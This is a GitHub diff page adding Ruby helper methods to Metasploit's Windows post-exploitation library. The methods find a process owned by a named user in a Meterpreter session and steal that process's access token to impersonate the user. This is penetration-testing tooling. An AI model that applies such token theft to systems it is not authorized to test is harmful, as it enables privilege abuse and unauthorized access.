File tree Expand file tree Collapse file tree 1 file changed +41
-0
lines changed
lib/msf/core/post/windows Expand file tree Collapse file tree 1 file changed +41
-0
lines changed Original file line number Diff line number Diff line change @@ -43,6 +43,47 @@ def is_admin?
43
43
end
44
44
end
45
45
46
+ # Steals the current user's token.
47
+ def steal_current_user_token
48
+ steal_token ( get_env ( 'COMPUTERNAME' ) , get_env ( 'USERNAME' ) )
49
+ end
50
+
51
+ #
52
+ # Steals a token for a user.
53
+ # @param String computer_name Computer name.
54
+ # @param String username To token to steal from. If not set, it will try to steal
55
+ # the current user's token.
56
+ # @return [boolean] TrueClass if successful, otherwise FalseClass.
57
+ # @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME'))
58
+ #
59
+ def steal_token ( computer_name , user_name )
60
+ pid = nil
61
+
62
+ session . sys . process . processes . each do |p |
63
+ if p [ 'user' ] == "#{ computer_name } \\ #{ user_name } "
64
+ pid = p [ 'pid' ]
65
+ end
66
+ end
67
+
68
+ unless pid
69
+ vprint_error ( "No PID found for #{ user_name } " )
70
+ return false
71
+ end
72
+
73
+ vprint_status ( "Stealing token from PID #{ pid } for #{ user_name } " )
74
+
75
+ begin
76
+ session . sys . config . steal_token ( pid )
77
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
78
+ # It could raise an exception even when the token is successfully stolen,
79
+ # so we will just log the exception and move on.
80
+ elog ( "#{ e . class } #{ e . message } \n #{ e . backtrace * "\n " } " )
81
+ end
82
+
83
+ true
84
+ end
85
+
86
+
46
87
#
47
88
# Returns true if in the administrator group
48
89
#
You can’t perform that action at this time.
0 commit comments